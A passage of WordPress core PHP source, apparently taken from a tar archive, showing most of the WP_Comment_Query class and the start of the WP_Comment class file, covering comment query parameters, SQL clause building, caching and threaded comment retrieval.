array $include_unapproved Array of IDs or email addresses of users whose unapproved * comments will be returned by the query regardless of * `$status`. Default empty. * @type int $karma Karma score to retrieve matching comments for. * Default empty. * @type string $meta_key Include comments with a matching comment meta key. * Default empty. * @type string $meta_value Include comments with a matching comment meta value. * Requires `$meta_key` to be set. Default empty. * @type array $meta_query Meta query clauses to limit retrieved comments by. * See WP_Meta_Query. Default empty. * @type int $number Maximum number of comments to retrieve. * Default empty (no limit). * @type int $paged When used with $number, defines the page of results to return. * When used with $offset, $offset takes precedence. Default 1. * @type int $offset Number of comments to offset the query. Used to build * LIMIT clause. Default 0. * @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. * Default: true. * @type string|array $orderby Comment status or array of statuses. To use 'meta_value' * or 'meta_value_num', `$meta_key` must also be defined. * To sort by a specific `$meta_query` clause, use that * clause's array key. Accepts 'comment_agent', * 'comment_approved', 'comment_author', * 'comment_author_email', 'comment_author_IP', * 'comment_author_url', 'comment_content', 'comment_date', * 'comment_date_gmt', 'comment_ID', 'comment_karma', * 'comment_parent', 'comment_post_ID', 'comment_type', * 'user_id', 'comment__in', 'meta_value', 'meta_value_num', * the value of $meta_key, and the array keys of * `$meta_query`. Also accepts false, an empty array, or * 'none' to disable `ORDER BY` clause. * Default: 'comment_date_gmt'. * @type string $order How to order retrieved comments. Accepts 'ASC', 'DESC'. * Default: 'DESC'. * @type int $parent Parent ID of comment to retrieve children of. * Default empty. * @type int[] $parent__in Array of parent IDs of comments to retrieve children for. * Default empty. * @type int[] $parent__not_in Array of parent IDs of comments *not* to retrieve * children for. Default empty. * @type int[] $post_author__in Array of author IDs to retrieve comments for. * Default empty. * @type int[] $post_author__not_in Array of author IDs *not* to retrieve comments for. * Default empty. * @type int $post_ID Currently unused. * @type int $post_id Limit results to those affiliated with a given post ID. * Default 0. * @type int[] $post__in Array of post IDs to include affiliated comments for. * Default empty. * @type int[] $post__not_in Array of post IDs to exclude affiliated comments for. * Default empty. * @type int $post_author Post author ID to limit results by. Default empty. * @type string|array $post_status Post status or array of post statuses to retrieve * affiliated comments for. Pass 'any' to match any value. * Default empty. * @type string $post_type Post type or array of post types to retrieve affiliated * comments for. Pass 'any' to match any value. Default empty. * @type string $post_name Post name to retrieve affiliated comments for. * Default empty. * @type int $post_parent Post parent ID to retrieve affiliated comments for. * Default empty. * @type string $search Search term(s) to retrieve matching comments for. * Default empty. * @type string|array $status Comment statuses to limit results by. Accepts an array * or space/comma-separated list of 'hold' (`comment_status=0`), * 'approve' (`comment_status=1`), 'all', or a custom * comment status. Default 'all'. * @type string|array $type Include comments of a given type, or array of types. * Accepts 'comment', 'pings' (includes 'pingback' and * 'trackback'), or any custom type string. Default empty. * @type string[] $type__in Include comments from a given array of comment types. * Default empty. * @type string[] $type__not_in Exclude comments from a given array of comment types. * Default empty. * @type int $user_id Include comments for a specific user ID. Default empty. * @type bool|string $hierarchical Whether to include comment descendants in the results. * - 'threaded' returns a tree, with each comment's children * stored in a `children` property on the `WP_Comment` object. * - 'flat' returns a flat array of found comments plus * their children. * - Boolean `false` leaves out descendants. * The parameter is ignored (forced to `false`) when * `$fields` is 'ids' or 'counts'. Accepts 'threaded', * 'flat', or false. Default: false. * @type string $cache_domain Unique cache key to be produced when this query is stored in * an object cache. Default is 'core'. * @type bool $update_comment_meta_cache Whether to prime the metadata cache for found comments. * Default true. * @type bool $update_comment_post_cache Whether to prime the cache for comment posts. * Default false. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'author_email' => '', 'author_url' => '', 'author__in' => '', 'author__not_in' => '', 'include_unapproved' => '', 'fields' => '', 'ID' => '', 'comment__in' => '', 'comment__not_in' => '', 'karma' => '', 'number' => '', 'offset' => '', 'no_found_rows' => true, 'orderby' => '', 'order' => 'DESC', 'paged' => 1, 'parent' => '', 'parent__in' => '', 'parent__not_in' => '', 'post_author__in' => '', 'post_author__not_in' => '', 'post_ID' => '', 'post_id' => 0, 'post__in' => '', 'post__not_in' => '', 'post_author' => '', 'post_name' => '', 'post_parent' => '', 'post_status' => '', 'post_type' => '', 'status' => 'all', 'type' => '', 'type__in' => '', 'type__not_in' => '', 'user_id' => '', 'search' => '', 'count' => false, 'meta_key' => '', 'meta_value' => '', 'meta_query' => '', 'date_query' => null, // See WP_Date_Query. 'hierarchical' => false, 'cache_domain' => 'core', 'update_comment_meta_cache' => true, 'update_comment_post_cache' => false, ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parse arguments passed to the comment query with default query parameters. * * @since 4.2.0 Extracted from WP_Comment_Query::query(). * * @param string|array $query WP_Comment_Query arguments. See WP_Comment_Query::__construct() */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $this->query_vars = wp_parse_args( $query, $this->query_var_defaults ); /** * Fires after the comment query vars have been parsed. * * @since 4.2.0 * * @param WP_Comment_Query $this The WP_Comment_Query instance (passed by reference). */ do_action_ref_array( 'parse_comment_query', array( &$this ) ); } /** * Sets up the WordPress query for retrieving comments. * * @since 3.1.0 * @since 4.1.0 Introduced 'comment__in', 'comment__not_in', 'post_author__in', * 'post_author__not_in', 'author__in', 'author__not_in', 'post__in', * 'post__not_in', 'include_unapproved', 'type__in', and 'type__not_in' * arguments to $query_vars. * @since 4.2.0 Moved parsing to WP_Comment_Query::parse_query(). * * @param string|array $query Array or URL query string of parameters. * @return array|int List of comments, or number of comments when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_comments(); } /** * Get a list of comments matching the query vars. * * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array List of comments or number of found comments if `$count` argument is true. */ public function get_comments() { global $wpdb; $this->parse_query(); // Parse meta query. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $this->query_vars ); /** * Fires before comments are retrieved. * * @since 3.1.0 * * @param WP_Comment_Query $this Current instance of WP_Comment_Query (passed by reference). */ do_action_ref_array( 'pre_get_comments', array( &$this ) ); // Reparse query vars, in case they were modified in a 'pre_get_comments' callback. $this->meta_query->parse_query_vars( $this->query_vars ); if ( ! empty( $this->meta_query->queries ) ) { $this->meta_query_clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this ); } $comment_data = null; /** * Filters the comments data before the query takes place. * * Return a non-null value to bypass WordPress' default comment queries. * * The expected return type from this filter depends on the value passed * in the request query vars: * - When `$this->query_vars['count']` is set, the filter should return * the comment count as an integer. * - When `'ids' === $this->query_vars['fields']`, the filter should return * an array of comment IDs. * - Otherwise the filter should return an array of WP_Comment objects. * * Note that if the filter returns an array of comment data, it will be assigned * to the `comments` property of the current WP_Comment_Query instance. * * Filtering functions that require pagination information are encouraged to set * the `found_comments` and `max_num_pages` properties of the WP_Comment_Query object, * passed to the filter by reference. If WP_Comment_Query does not perform a database * query, it will not have enough information to generate these values itself. * * @since 5.3.0 * @since 5.6.0 The returned array of comment data is assigned to the `comments` property * of the current WP_Comment_Query instance. * * @param array|int|null $comment_data Return an array of comment data to short-circuit WP's comment query, * the comment count as an integer if `$this->query_vars['count']` is set, * or null to allow WP to run its normal queries. * @param WP_Comment_Query $query The WP_Comment_Query instance, passed by reference. */ $comment_data = apply_filters_ref_array( 'comments_pre_query', array( $comment_data, &$this ) ); if ( null !== $comment_data ) { if ( is_array( $comment_data ) && ! $this->query_vars['count'] ) { $this->comments = $comment_data; } return $comment_data; } /* * Only use the args defined in the query_var_defaults to compute the key, * but ignore 'fields', which does not affect query results. */ $_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ); unset( $_args['fields'] ); $key = md5( serialize( $_args ) ); $last_changed = wp_cache_get_last_changed( 'comment' ); $cache_key = "get_comments:$key:$last_changed"; $cache_value = wp_cache_get( $cache_key, 'comment' ); if ( false === $cache_value ) { $comment_ids = $this->get_comment_ids(); if ( $comment_ids ) { $this->set_found_comments(); } $cache_value = array( 'comment_ids' => $comment_ids, 'found_comments' => $this->found_comments, ); wp_cache_add( $cache_key, $cache_value, 'comment' ); } else { $comment_ids = $cache_value['comment_ids']; $this->found_comments = $cache_value['found_comments']; } if ( $this->found_comments && $this->query_vars['number'] ) { $this->max_num_pages = ceil( $this->found_comments / $this->query_vars['number'] ); } // If querying for a count only, there's nothing more to do. if ( $this->query_vars['count'] ) { // $comment_ids is actually a count in this case. return (int) $comment_ids; } $comment_ids = array_map( 'intval', $comment_ids ); if ( 'ids' === $this->query_vars['fields'] ) { $this->comments = $comment_ids; return $this->comments; } _prime_comment_caches( $comment_ids, $this->query_vars['update_comment_meta_cache'] ); // Fetch full comment objects from the primed cache. $_comments = array(); foreach ( $comment_ids as $comment_id ) { $_comment = get_comment( $comment_id ); if ( $_comment ) { $_comments[] = $_comment; } } // Prime comment post caches. if ( $this->query_vars['update_comment_post_cache'] ) { $comment_post_ids = array(); foreach ( $_comments as $_comment ) { $comment_post_ids[] = $_comment->comment_post_ID; } _prime_post_caches( $comment_post_ids, false, false ); } /** * Filters the comment query results. * * @since 3.1.0 * * @param WP_Comment[] $_comments An array of comments. * @param WP_Comment_Query $query Current instance of WP_Comment_Query (passed by reference). */ $_comments = apply_filters_ref_array( 'the_comments', array( $_comments, &$this ) ); // Convert to WP_Comment instances. $comments = array_map( 'get_comment', $_comments ); if ( $this->query_vars['hierarchical'] ) { $comments = $this->fill_descendants( $comments ); } $this->comments = $comments; return $this->comments; } /** * Used internally to get a list of comment IDs matching the query vars. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array A single count of comment IDs if a count query. An array of comment IDs if a full query. */ protected function get_comment_ids() { global $wpdb; // Assemble clauses related to 'comment_approved'. $approved_clauses = array(); // 'status' accepts an array or a comma-separated string. $status_clauses = array(); $statuses = wp_parse_list( $this->query_vars['status'] ); // Empty 'status' should be interpreted as 'all'. if ( empty( $statuses ) ) { $statuses = array( 'all' ); } // 'any' overrides other statuses. if ( ! in_array( 'any', $statuses, true ) ) { foreach ( $statuses as $status ) { switch ( $status ) { case 'hold': $status_clauses[] = "comment_approved = '0'"; break; case 'approve': $status_clauses[] = "comment_approved = '1'"; break; case 'all': case '': $status_clauses[] = "( comment_approved = '0' OR comment_approved = '1' )"; break; default: $status_clauses[] = $wpdb->prepare( 'comment_approved = %s', $status ); break; } } if ( ! empty( $status_clauses ) ) { $approved_clauses[] = '( ' . implode( ' OR ', $status_clauses ) . ' )'; } } // User IDs or emails whose unapproved comments are included, regardless of $status. if ( ! empty( $this->query_vars['include_unapproved'] ) ) { $include_unapproved = wp_parse_list( $this->query_vars['include_unapproved'] ); $unapproved_ids = array(); $unapproved_emails = array(); foreach ( $include_unapproved as $unapproved_identifier ) { // Numeric values are assumed to be user IDs. if ( is_numeric( $unapproved_identifier ) ) { $approved_clauses[] = $wpdb->prepare( "( user_id = %d AND comment_approved = '0' )", $unapproved_identifier ); } else { // Otherwise we match against email addresses. if ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) { // Only include requested comment. $approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' AND comment_ID = %d )", $unapproved_identifier, (int) $_GET['unapproved'] ); } else { // Include all of the author's unapproved comments. $approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' )", $unapproved_identifier ); } } } } // Collapse comment_approved clauses into a single OR-separated clause. if ( ! empty( $approved_clauses ) ) { if ( 1 === count( $approved_clauses ) ) { $this->sql_clauses['where']['approved'] = $approved_clauses[0]; } else { $this->sql_clauses['where']['approved'] = '( ' . implode( ' OR ', $approved_clauses ) . ' )'; } } $order = ( 'ASC' === strtoupper( $this->query_vars['order'] ) ) ? 'ASC' : 'DESC'; // Disable ORDER BY with 'none', an empty array, or boolean false. if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) { $orderby = ''; } elseif ( ! empty( $this->query_vars['orderby'] ) ) { $ordersby = is_array( $this->query_vars['orderby'] ) ? $this->query_vars['orderby'] : preg_split( '/[,\s]/', $this->query_vars['orderby'] ); $orderby_array = array(); $found_orderby_comment_id = false; foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { $_orderby = $_value; $_order = $order; } else { $_orderby = $_key; $_order = $_value; } if ( ! $found_orderby_comment_id && in_array( $_orderby, array( 'comment_ID', 'comment__in' ), true ) ) { $found_orderby_comment_id = true; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'comment__in' === $_orderby ) { $orderby_array[] = $parsed; continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } // If no valid clauses were found, order by comment_date_gmt. if ( empty( $orderby_array ) ) { $orderby_array[] = "$wpdb->comments.comment_date_gmt $order"; } // To ensure determinate sorting, always include a comment_ID clause. if ( ! $found_orderby_comment_id ) { $comment_id_order = ''; // Inherit order from comment_date or comment_date_gmt, if available. foreach ( $orderby_array as $orderby_clause ) { if ( preg_match( '/comment_date(?:_gmt)*\ (ASC|DESC)/', $orderby_clause, $match ) ) { $comment_id_order = $match[1]; break; } } // If no date-related order is available, use the date from the first available clause. if ( ! $comment_id_order ) { foreach ( $orderby_array as $orderby_clause ) { if ( false !== strpos( 'ASC', $orderby_clause ) ) { $comment_id_order = 'ASC'; } else { $comment_id_order = 'DESC'; } break; } } // Default to DESC. if ( ! $comment_id_order ) { $comment_id_order = 'DESC'; } $orderby_array[] = "$wpdb->comments.comment_ID $comment_id_order"; } $orderby = implode( ', ', $orderby_array ); } else { $orderby = "$wpdb->comments.comment_date_gmt $order"; } $number = absint( $this->query_vars['number'] ); $offset = absint( $this->query_vars['offset'] ); $paged = absint( $this->query_vars['paged'] ); $limits = ''; if ( ! empty( $number ) ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . ( $number * ( $paged - 1 ) ) . ',' . $number; } } if ( $this->query_vars['count'] ) { $fields = 'COUNT(*)'; } else { $fields = "$wpdb->comments.comment_ID"; } $post_id = absint( $this->query_vars['post_id'] ); if ( ! empty( $post_id ) ) { $this->sql_clauses['where']['post_id'] = $wpdb->prepare( 'comment_post_ID = %d', $post_id ); } // Parse comment IDs for an IN clause. if ( ! empty( $this->query_vars['comment__in'] ) ) { $this->sql_clauses['where']['comment__in'] = "$wpdb->comments.comment_ID IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__in'] ) ) . ' )'; } // Parse comment IDs for a NOT IN clause. if ( ! empty( $this->query_vars['comment__not_in'] ) ) { $this->sql_clauses['where']['comment__not_in'] = "$wpdb->comments.comment_ID NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__not_in'] ) ) . ' )'; } // Parse comment parent IDs for an IN clause. if ( ! empty( $this->query_vars['parent__in'] ) ) { $this->sql_clauses['where']['parent__in'] = 'comment_parent IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__in'] ) ) . ' )'; } // Parse comment parent IDs for a NOT IN clause. if ( ! empty( $this->query_vars['parent__not_in'] ) ) { $this->sql_clauses['where']['parent__not_in'] = 'comment_parent NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__not_in'] ) ) . ' )'; } // Parse comment post IDs for an IN clause. if ( ! empty( $this->query_vars['post__in'] ) ) { $this->sql_clauses['where']['post__in'] = 'comment_post_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__in'] ) ) . ' )'; } // Parse comment post IDs for a NOT IN clause. if ( ! empty( $this->query_vars['post__not_in'] ) ) { $this->sql_clauses['where']['post__not_in'] = 'comment_post_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__not_in'] ) ) . ' )'; } if ( '' !== $this->query_vars['author_email'] ) { $this->sql_clauses['where']['author_email'] = $wpdb->prepare( 'comment_author_email = %s', $this->query_vars['author_email'] ); } if ( '' !== $this->query_vars['author_url'] ) { $this->sql_clauses['where']['author_url'] = $wpdb->prepare( 'comment_author_url = %s', $this->query_vars['author_url'] ); } if ( '' !== $this->query_vars['karma'] ) { $this->sql_clauses['where']['karma'] = $wpdb->prepare( 'comment_karma = %d', $this->query_vars['karma'] ); } // Filtering by comment_type: 'type', 'type__in', 'type__not_in'. $raw_types = array( 'IN' => array_merge( (array) $this->query_vars['type'], (array) $this->query_vars['type__in'] ), 'NOT IN' => (array) $this->query_vars['type__not_in'], ); $comment_types = array(); foreach ( $raw_types as $operator => $_raw_types ) { $_raw_types = array_unique( $_raw_types ); foreach ( $_raw_types as $type ) { switch ( $type ) { // An empty translates to 'all', for backward compatibility. case '': case 'all': break; case 'comment': case 'comments': $comment_types[ $operator ][] = "''"; $comment_types[ $operator ][] = "'comment'"; break; case 'pings': $comment_types[ $operator ][] = "'pingback'"; $comment_types[ $operator ][] = "'trackback'"; break; default: $comment_types[ $operator ][] = $wpdb->prepare( '%s', $type ); break; } } if ( ! empty( $comment_types[ $operator ] ) ) { $types_sql = implode( ', ', $comment_types[ $operator ] ); $this->sql_clauses['where'][ 'comment_type__' . strtolower( str_replace( ' ', '_', $operator ) ) ] = "comment_type $operator ($types_sql)"; } } $parent = $this->query_vars['parent']; if ( $this->query_vars['hierarchical'] && ! $parent ) { $parent = 0; } if ( '' !== $parent ) { $this->sql_clauses['where']['parent'] = $wpdb->prepare( 'comment_parent = %d', $parent ); } if ( is_array( $this->query_vars['user_id'] ) ) { $this->sql_clauses['where']['user_id'] = 'user_id IN (' . implode( ',', array_map( 'absint', $this->query_vars['user_id'] ) ) . ')'; } elseif ( '' !== $this->query_vars['user_id'] ) { $this->sql_clauses['where']['user_id'] = $wpdb->prepare( 'user_id = %d', $this->query_vars['user_id'] ); } // Falsey search strings are ignored. if ( strlen( $this->query_vars['search'] ) ) { $search_sql = $this->get_search_sql( $this->query_vars['search'], array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' ) ); // Strip leading 'AND'. $this->sql_clauses['where']['search'] = preg_replace( '/^\s*AND\s*/', '', $search_sql ); } // If any post-related query vars are passed, join the posts table. $join_posts_table = false; $plucked = wp_array_slice_assoc( $this->query_vars, array( 'post_author', 'post_name', 'post_parent' ) ); $post_fields = array_filter( $plucked ); if ( ! empty( $post_fields ) ) { $join_posts_table = true; foreach ( $post_fields as $field_name => $field_value ) { // $field_value may be an array. $esses = array_fill( 0, count( (array) $field_value ), '%s' ); // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $field_value ); } } // 'post_status' and 'post_type' are handled separately, due to the specialized behavior of 'any'. foreach ( array( 'post_status', 'post_type' ) as $field_name ) { $q_values = array(); if ( ! empty( $this->query_vars[ $field_name ] ) ) { $q_values = $this->query_vars[ $field_name ]; if ( ! is_array( $q_values ) ) { $q_values = explode( ',', $q_values ); } // 'any' will cause the query var to be ignored. if ( in_array( 'any', $q_values, true ) || empty( $q_values ) ) { continue; } $join_posts_table = true; $esses = array_fill( 0, count( $q_values ), '%s' ); // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $q_values ); } } // Comment author IDs for an IN clause. if ( ! empty( $this->query_vars['author__in'] ) ) { $this->sql_clauses['where']['author__in'] = 'user_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__in'] ) ) . ' )'; } // Comment author IDs for a NOT IN clause. if ( ! empty( $this->query_vars['author__not_in'] ) ) { $this->sql_clauses['where']['author__not_in'] = 'user_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__not_in'] ) ) . ' )'; } // Post author IDs for an IN clause. if ( ! empty( $this->query_vars['post_author__in'] ) ) { $join_posts_table = true; $this->sql_clauses['where']['post_author__in'] = 'post_author IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__in'] ) ) . ' )'; } // Post author IDs for a NOT IN clause. if ( ! empty( $this->query_vars['post_author__not_in'] ) ) { $join_posts_table = true; $this->sql_clauses['where']['post_author__not_in'] = 'post_author NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__not_in'] ) ) . ' )'; } $join = ''; $groupby = ''; if ( $join_posts_table ) { $join .= "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID"; } if ( ! empty( $this->meta_query_clauses ) ) { $join .= $this->meta_query_clauses['join']; // Strip leading 'AND'. $this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] ); if ( ! $this->query_vars['count'] ) { $groupby = "{$wpdb->comments}.comment_ID"; } } if ( ! empty( $this->query_vars['date_query'] ) && is_array( $this->query_vars['date_query'] ) ) { $this->date_query = new WP_Date_Query( $this->query_vars['date_query'], 'comment_date' ); $this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() ); } $where = implode( ' AND ', $this->sql_clauses['where'] ); $pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' ); /** * Filters the comment query clauses. * * @since 3.1.0 * * @param string[] $pieces An associative array of comment query clauses. * @param WP_Comment_Query $query Current instance of WP_Comment_Query (passed by reference). */ $clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) ); $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; $this->filtered_where_clause = $where; if ( $where ) { $where = 'WHERE ' . $where; } if ( $groupby ) { $groupby = 'GROUP BY ' . $groupby; } if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $found_rows = ''; if ( ! $this->query_vars['no_found_rows'] ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->sql_clauses['select'] = "SELECT $found_rows $fields"; $this->sql_clauses['from'] = "FROM $wpdb->comments $join"; $this->sql_clauses['groupby'] = $groupby; $this->sql_clauses['orderby'] = $orderby; $this->sql_clauses['limits'] = $limits; $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; if ( $this->query_vars['count'] ) { return (int) $wpdb->get_var( $this->request ); } else { $comment_ids = $wpdb->get_col( $this->request ); return array_map( 'intval', $comment_ids ); } } /** * Populates found_comments and max_num_pages properties for the current * query if the limit clause was used. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. */ private function set_found_comments() { global $wpdb; if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) { /** * Filters the query used to retrieve found comment count. * * @since 4.4.0 * * @param string $found_comments_query SQL query. Default 'SELECT FOUND_ROWS()'. * @param WP_Comment_Query $comment_query The `WP_Comment_Query` instance. */ $found_comments_query = apply_filters( 'found_comments_query', 'SELECT FOUND_ROWS()', $this ); $this->found_comments = (int) $wpdb->get_var( $found_comments_query ); } } /** * Fetch descendants for located comments. * * Instead of calling `get_children()` separately on each child comment, we do a single set of queries to fetch * the descendant trees for all matched top-level comments. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Comment[] $comments Array of top-level comments whose descendants should be filled in. * @return array */ protected function fill_descendants( $comments ) { global $wpdb; $levels = array( 0 => wp_list_pluck( $comments, 'comment_ID' ), ); $key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) ); $last_changed = wp_cache_get_last_changed( 'comment' ); // Fetch an entire level of the descendant tree at a time. $level = 0; $exclude_keys = array( 'parent', 'parent__in', 'parent__not_in' ); do { // Parent-child relationships may be cached. Only query for those that are not. $child_ids = array(); $uncached_parent_ids = array(); $_parent_ids = $levels[ $level ]; foreach ( $_parent_ids as $parent_id ) { $cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed"; $parent_child_ids = wp_cache_get( $cache_key, 'comment' ); if ( false !== $parent_child_ids ) { $child_ids = array_merge( $child_ids, $parent_child_ids ); } else { $uncached_parent_ids[] = $parent_id; } } if ( $uncached_parent_ids ) { // Fetch this level of comments. $parent_query_args = $this->query_vars; foreach ( $exclude_keys as $exclude_key ) { $parent_query_args[ $exclude_key ] = ''; } $parent_query_args['parent__in'] = $uncached_parent_ids; $parent_query_args['no_found_rows'] = true; $parent_query_args['hierarchical'] = false; $parent_query_args['offset'] = 0; $parent_query_args['number'] = 0; $level_comments = get_comments( $parent_query_args ); // Cache parent-child relationships. $parent_map = array_fill_keys( $uncached_parent_ids, array() ); foreach ( $level_comments as $level_comment ) { $parent_map[ $level_comment->comment_parent ][] = $level_comment->comment_ID; $child_ids[] = $level_comment->comment_ID; } foreach ( $parent_map as $parent_id => $children ) { $cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed"; wp_cache_set( $cache_key, $children, 'comment' ); } } $level++; $levels[ $level ] = $child_ids; } while ( $child_ids ); // Prime comment caches for non-top-level comments. $descendant_ids = array(); for ( $i = 1, $c = count( $levels ); $i < $c; $i++ ) { $descendant_ids = array_merge( $descendant_ids, $levels[ $i ] ); } _prime_comment_caches( $descendant_ids, $this->query_vars['update_comment_meta_cache'] ); // Assemble a flat array of all comments + descendants. $all_comments = $comments; foreach ( $descendant_ids as $descendant_id ) { $all_comments[] = get_comment( $descendant_id ); } // If a threaded representation was requested, build the tree. if ( 'threaded' === $this->query_vars['hierarchical'] ) { $threaded_comments = array(); $ref = array(); foreach ( $all_comments as $k => $c ) { $_c = get_comment( $c->comment_ID ); // If the comment isn't in the reference array, it goes in the top level of the thread. if ( ! isset( $ref[ $c->comment_parent ] ) ) { $threaded_comments[ $_c->comment_ID ] = $_c; $ref[ $_c->comment_ID ] = $threaded_comments[ $_c->comment_ID ]; // Otherwise, set it as a child of its parent. } else { $ref[ $_c->comment_parent ]->add_child( $_c ); $ref[ $_c->comment_ID ] = $ref[ $_c->comment_parent ]->get_child( $_c->comment_ID ); } } // Set the 'populated_children' flag, to ensure additional database queries aren't run. foreach ( $ref as $_ref ) { $_ref->populated_children( true ); } $comments = $threaded_comments; } else { $comments = $all_comments; } return $comments; } /** * Used internally to generate an SQL string for searching across multiple columns * * @since 3.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string * @param array $cols * @return string */ protected function get_search_sql( $string, $cols ) { global $wpdb; $like = '%' . $wpdb->esc_like( $string ) . '%'; $searches = array(); foreach ( $cols as $col ) { $searches[] = $wpdb->prepare( "$col LIKE %s", $like ); } return ' AND (' . implode( ' OR ', $searches ) . ')'; } /** * Parse and sanitize 'orderby' keys passed to the comment query. * * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; $allowed_keys = array( 'comment_agent', 'comment_approved', 'comment_author', 'comment_author_email', 'comment_author_IP', 'comment_author_url', 'comment_content', 'comment_date', 'comment_date_gmt', 'comment_ID', 'comment_karma', 'comment_parent', 'comment_post_ID', 'comment_type', 'user_id', ); if ( ! empty( $this->query_vars['meta_key'] ) ) { $allowed_keys[] = $this->query_vars['meta_key']; $allowed_keys[] = 'meta_value'; $allowed_keys[] = 'meta_value_num'; } $meta_query_clauses = $this->meta_query->get_clauses(); if ( $meta_query_clauses ) { $allowed_keys = array_merge( $allowed_keys, array_keys( $meta_query_clauses ) ); } $parsed = false; if ( $this->query_vars['meta_key'] === $orderby || 'meta_value' === $orderby ) { $parsed = "$wpdb->commentmeta.meta_value"; } elseif ( 'meta_value_num' === $orderby ) { $parsed = "$wpdb->commentmeta.meta_value+0"; } elseif ( 'comment__in' === $orderby ) { $comment__in = implode( ',', array_map( 'absint', $this->query_vars['comment__in'] ) ); $parsed = "FIELD( {$wpdb->comments}.comment_ID, $comment__in )"; } elseif ( in_array( $orderby, $allowed_keys, true ) ) { if ( isset( $meta_query_clauses[ $orderby ] ) ) { $meta_clause = $meta_query_clauses[ $orderby ]; $parsed = sprintf( 'CAST(%s.meta_value AS %s)', esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) ); } else { $parsed = "$wpdb->comments.$orderby"; } } return $parsed; } /** * Parse an 'order' query variable and cast it to ASC or DESC as necessary. * * @since 4.2.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } } �������������������������������������������������������������������������������������class-wp-comment.php��������������������������������������������������������������������������������0000644�����������������00000022151�15120262030�0010436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Comment API: WP_Comment class * * @package WordPress * @subpackage Comments * @since 4.4.0 */ /** * Core class used to organize comments as instantiated objects with defined members. * * @since 4.4.0 */ final class WP_Comment { /** * Comment ID. * * A numeric string, for compatibility reasons. * * @since 4.4.0 * @var string */ public $comment_ID; /** * ID of the post the comment is associated with. * * A numeric string, for compatibility reasons. * * @since 4.4.0 * @var string */ public $comment_post_ID = 0; /** * Comment author name. * * @since 4.4.0 * @var string */ public $comment_author = ''; /** * Comment author email address. * * @since 4.4.0 * @var string */ public 